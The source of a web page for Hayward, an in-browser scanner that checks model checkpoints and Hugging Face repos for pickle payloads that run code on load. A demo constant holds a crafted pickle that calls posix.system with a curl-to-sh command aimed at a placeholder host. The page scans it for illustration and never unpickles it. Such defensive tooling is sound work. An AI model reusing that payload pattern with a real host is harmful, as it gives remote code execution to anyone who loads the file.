hayward / index.html
hedgerow-dev's picture
Credit hedgerow.dev on the page and in the card
761e91f verified
Raw
History Blame Contribute Delete
12.7 kB
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Hayward: does this checkpoint run code?</title>
<style>
:root {
--ink: #013D5A;
--sage: #708C69;
--amber: #F4A25B;
--bg: #fbfaf7;
--panel: #ffffff;
--line: #e4e0d8;
--muted: #5d6b73;
--crit: #a3231f;
}
@media (prefers-color-scheme: dark) {
:root {
--bg: #0d1418; --panel: #131e24; --line: #24343c;
--ink: #cfe4ee; --muted: #93a5ae; --crit: #ff8b83;
}
}
* { box-sizing: border-box; }
body {
margin: 0; padding: 2rem 1.25rem 4rem;
background: var(--bg); color: var(--ink);
font: 16px/1.6 ui-sans-serif, system-ui, -apple-system, "Segoe UI", sans-serif;
}
main { max-width: 54rem; margin: 0 auto; }
h1 { font-size: 1.9rem; margin: 0 0 .35rem; letter-spacing: -.02em; }
.lede { color: var(--muted); margin: 0 0 1.75rem; max-width: 40rem; }
code, .mono { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: .9em; }
.panel {
background: var(--panel); border: 1px solid var(--line);
border-radius: 10px; padding: 1.1rem 1.2rem; margin-bottom: 1rem;
}
.row { display: flex; gap: .6rem; flex-wrap: wrap; }
input[type=text] {
flex: 1 1 18rem; padding: .6rem .75rem; font: inherit;
border: 1px solid var(--line); border-radius: 7px;
background: var(--bg); color: var(--ink);
}
button {
padding: .6rem 1rem; font: inherit; font-weight: 600; cursor: pointer;
border: 1px solid var(--ink); border-radius: 7px;
background: var(--ink); color: var(--bg);
}
button.ghost { background: transparent; color: var(--ink); font-weight: 400; }
button[disabled] { opacity: .45; cursor: not-allowed; }
#drop {
border: 1.5px dashed var(--line); border-radius: 10px;
padding: 1.6rem 1rem; text-align: center; color: var(--muted);
cursor: pointer; transition: border-color .15s, background .15s;
}
#drop.hot { border-color: var(--sage); background: rgba(112,140,105,.09); }
#status { color: var(--muted); font-size: .92rem; min-height: 1.6em; }
table { width: 100%; border-collapse: collapse; margin-top: .5rem; }
th, td { text-align: left; padding: .5rem .6rem; border-bottom: 1px solid var(--line); vertical-align: top; }
th { font-size: .74rem; letter-spacing: .09em; text-transform: uppercase; color: var(--muted); }
td.sev { font-weight: 700; font-size: .78rem; letter-spacing: .05em; white-space: nowrap; }
.critical, .high { color: var(--crit); }
.medium { color: var(--amber); }
.low, .info { color: var(--muted); }
.verdict { font-size: 1.15rem; font-weight: 650; margin: 0 0 .4rem; }
.verdict.bad { color: var(--crit); }
.verdict.ok { color: var(--sage); }
.note { color: var(--muted); font-size: .9rem; }
ul.skipped { color: var(--muted); font-size: .88rem; padding-left: 1.1rem; margin: .5rem 0 0; }
footer { color: var(--muted); font-size: .88rem; margin-top: 2rem; }
a { color: var(--sage); }
</style>
</head>
<body>
<main>
<h1>Hayward</h1>
<p class="lede">
Does this checkpoint run code when you load it?
<code>torch.load</code>, <code>joblib.load</code> and
<code>numpy.load(allow_pickle=True)</code> execute code from the file they
read. That is what pickle does, and the Hub is still full of it.
</p>
<div class="panel">
<div class="row">
<input id="repo" type="text" placeholder="org/name" spellcheck="false" autocomplete="off">
<button id="scanRepo" disabled>Scan repo</button>
</div>
<div class="row" style="margin-top:.65rem">
<button class="ghost" id="exClean" disabled>Example: a clean repo</button>
<button class="ghost" id="exBad" disabled>Example: a malicious checkpoint</button>
</div>
</div>
<div class="panel">
<div id="drop">
<strong>Drop a model file here</strong>, or click to choose one.<br>
It is read in your browser. Nothing is uploaded.
</div>
<input id="file" type="file" multiple hidden>
</div>
<p id="status">Loading the scanner…</p>
<div id="result"></div>
<footer>
Hayward runs offline as a CLI, which is how it is meant to be used:
<code>pip install hayward</code>.
<a href="https://github.com/hedgerow-dev/hayward">Source and documentation</a>.
This page runs the same scanner in WebAssembly, so your files stay on your
machine. Built by <a href="https://hedgerow.dev/open-source#hayward">Hedgerow</a>.
</footer>
</main>
<script src="https://cdn.jsdelivr.net/pyodide/v0.28.0/full/pyodide.js"></script>
<script>
const MAX_FILE_BYTES = 500_000_000; // matches the scanner's own read cap
const MAX_FILES = 25;
const CLEAN_EXAMPLE = "hf-internal-testing/tiny-random-BertModel";
const $ = (id) => document.getElementById(id);
const statusEl = $("status");
const resultEl = $("result");
let py = null;
let extensions = [];
const PY_SETUP = `
import json
from pathlib import Path
from hayward import ModelFileScanner
from hayward.findings import Severity
_scanner = ModelFileScanner()
ORDER = {
Severity.CRITICAL: 0, Severity.HIGH: 1, Severity.MEDIUM: 2,
Severity.LOW: 3, Severity.INFO: 4,
}
# The scanner owns the extension list, including the two it resolves by
# content sniff rather than by name. Read it rather than restating it.
EXTENSIONS = sorted({*_scanner._format_map, *_scanner._AMBIGUOUS_EXTENSIONS})
# A checkpoint that fetches a shell script and runs it on load. Built here so
# the page ships no payload-shaped file. It is never unpickled.
DEMO = b"\\x80\\x04cposix\\nsystem\\n\\x8c\\x1ccurl http://example.invalid|sh\\x85R."
def scan_path(path, display_name):
p = Path(path)
try:
findings = _scanner.scan_file(p)
finally:
p.unlink(missing_ok=True)
findings.sort(key=lambda f: ORDER[f.severity])
return json.dumps([
{
"severity": f.severity.value,
"rule": f.rule_id,
"file": display_name,
"message": f.message,
}
for f in findings
])
def scan_demo():
p = Path("/scan/demo-checkpoint.pt")
p.parent.mkdir(parents=True, exist_ok=True)
p.write_bytes(DEMO)
return scan_path(str(p), "demo-checkpoint.pt")
`;
async function boot() {
py = await loadPyodide();
statusEl.textContent = "Installing hayward…";
// lzma is unvendored from Pyodide's stdlib, and the scanner imports it to
// read xz-compressed members.
await py.loadPackage(["micropip", "lzma"]);
await py.runPythonAsync(`
import micropip
await micropip.install("hayward")
`);
await py.runPythonAsync(PY_SETUP);
extensions = JSON.parse(py.runPython("json.dumps(EXTENSIONS)"));
py.FS.mkdirTree("/scan");
for (const id of ["scanRepo", "exClean", "exBad"]) $(id).disabled = false;
statusEl.textContent =
`Ready. ${extensions.length} file types, running locally in your browser.`;
}
function scannable(path) {
const dot = path.lastIndexOf(".");
return dot !== -1 && extensions.includes(path.slice(dot).toLowerCase());
}
async function scanBuffer(buffer, displayName) {
const name = displayName.split("/").pop();
const target = "/scan/" + name;
py.FS.writeFile(target, new Uint8Array(buffer));
return JSON.parse(py.runPython(
`scan_path(${JSON.stringify(target)}, ${JSON.stringify(displayName)})`
));
}
async function scanRepo(repoId) {
repoId = repoId.trim().replace(/^\/+|\/+$/g, "");
if (!repoId || (repoId.match(/\//g) || []).length !== 1) {
return render("Enter a repo id in the form org/name", [], []);
}
statusEl.textContent = `Listing ${repoId}…`;
let tree;
try {
const res = await fetch(
`https://huggingface.co/api/models/${repoId}/tree/main?recursive=true`);
if (!res.ok) throw new Error(`the Hub returned ${res.status}`);
tree = await res.json();
} catch (err) {
return render(`Could not read ${repoId}: ${err.message}`, [], []);
}
const eligible = tree.filter((e) => e.type === "file" && scannable(e.path));
eligible.sort((a, b) => a.size - b.size);
const skipped = [];
const queue = [];
for (const entry of eligible) {
if (entry.size > MAX_FILE_BYTES) {
skipped.push(`${entry.path} (over the 500 MB per-file cap)`);
} else if (queue.length >= MAX_FILES) {
skipped.push(`${entry.path} (past the ${MAX_FILES} file cap)`);
} else {
queue.push(entry);
}
}
if (!queue.length && !skipped.length) {
return render(
`${repoId} holds no files Hayward can read. That is an empty result, not a clean one.`,
[], []);
}
const findings = [];
let read = 0;
for (const [i, entry] of queue.entries()) {
statusEl.textContent = `Reading ${entry.path} (${i + 1} of ${queue.length})…`;
try {
const res = await fetch(
`https://huggingface.co/${repoId}/resolve/main/${entry.path}`);
if (!res.ok) throw new Error(`HTTP ${res.status}`);
findings.push(...await scanBuffer(await res.arrayBuffer(), entry.path));
read += 1;
} catch (err) {
skipped.push(`${entry.path} (fetch failed: ${err.message})`);
}
}
statusEl.textContent = "Ready.";
render(verdict(repoId, read, findings), findings, skipped);
}
function verdict(subject, read, findings) {
const failing = findings.some(
(f) => f.severity === "critical" || f.severity === "high");
if (failing) return `Loading ${subject} can run code`;
if (findings.length) return `Nothing in ${subject} that would fail a build`;
return `Nothing recognised as dangerous in ${subject}` +
(read ? ` (${read} file${read === 1 ? "" : "s"} read)` : "");
}
function render(headline, findings, skipped) {
const bad = findings.some(
(f) => f.severity === "critical" || f.severity === "high");
const rows = findings.map((f) => `
<tr>
<td class="sev ${f.severity}">${f.severity.toUpperCase()}</td>
<td class="mono">${escape(f.rule)}</td>
<td class="mono">${escape(f.file)}</td>
<td>${escape(f.message)}</td>
</tr>`).join("");
resultEl.innerHTML = `
<div class="panel">
<p class="verdict ${bad ? "bad" : "ok"}">${escape(headline)}</p>
<p class="note">A clean result means Hayward read the files and
recognised nothing dangerous. It does not mean the model is safe.</p>
${rows ? `<table>
<thead><tr><th>Severity</th><th>Rule</th><th>File</th><th>What it found</th></tr></thead>
<tbody>${rows}</tbody></table>` : ""}
${skipped.length ? `<p class="note" style="margin-top:.9rem">
<strong>Not scanned (${skipped.length}):</strong></p>
<ul class="skipped">${skipped.map((s) => `<li>${escape(s)}</li>`).join("")}</ul>` : ""}
</div>`;
}
function escape(s) {
return String(s).replace(/[&<>"]/g,
(c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;" }[c]));
}
$("scanRepo").addEventListener("click", () => scanRepo($("repo").value));
$("repo").addEventListener("keydown", (e) => {
if (e.key === "Enter") scanRepo($("repo").value);
});
$("exClean").addEventListener("click", () => {
$("repo").value = CLEAN_EXAMPLE;
scanRepo(CLEAN_EXAMPLE);
});
$("exBad").addEventListener("click", () => {
const findings = JSON.parse(py.runPython("scan_demo()"));
render("Loading demo-checkpoint.pt can run code", findings, []);
statusEl.textContent =
"That is a crafted sample this page built, not a real model and not anybody's repo.";
});
const drop = $("drop");
const fileInput = $("file");
drop.addEventListener("click", () => fileInput.click());
["dragenter", "dragover"].forEach((ev) =>
drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.add("hot"); }));
["dragleave", "drop"].forEach((ev) =>
drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.remove("hot"); }));
drop.addEventListener("drop", (e) => handleFiles(e.dataTransfer.files));
fileInput.addEventListener("change", () => handleFiles(fileInput.files));
async function handleFiles(fileList) {
if (!py) return;
const files = [...fileList].slice(0, MAX_FILES);
const findings = [];
const skipped = [];
let read = 0;
for (const file of files) {
if (file.size > MAX_FILE_BYTES) {
skipped.push(`${file.name} (over the 500 MB per-file cap)`);
continue;
}
statusEl.textContent = `Scanning ${file.name}…`;
findings.push(...await scanBuffer(await file.arrayBuffer(), file.name));
read += 1;
}
statusEl.textContent = "Ready.";
const subject = files.length === 1 ? files[0].name : `${read} files`;
render(verdict(subject, read, findings), findings, skipped);
}
boot().catch((err) => {
statusEl.textContent = "The scanner failed to load: " + err.message;
});
</script>
</body>
</html>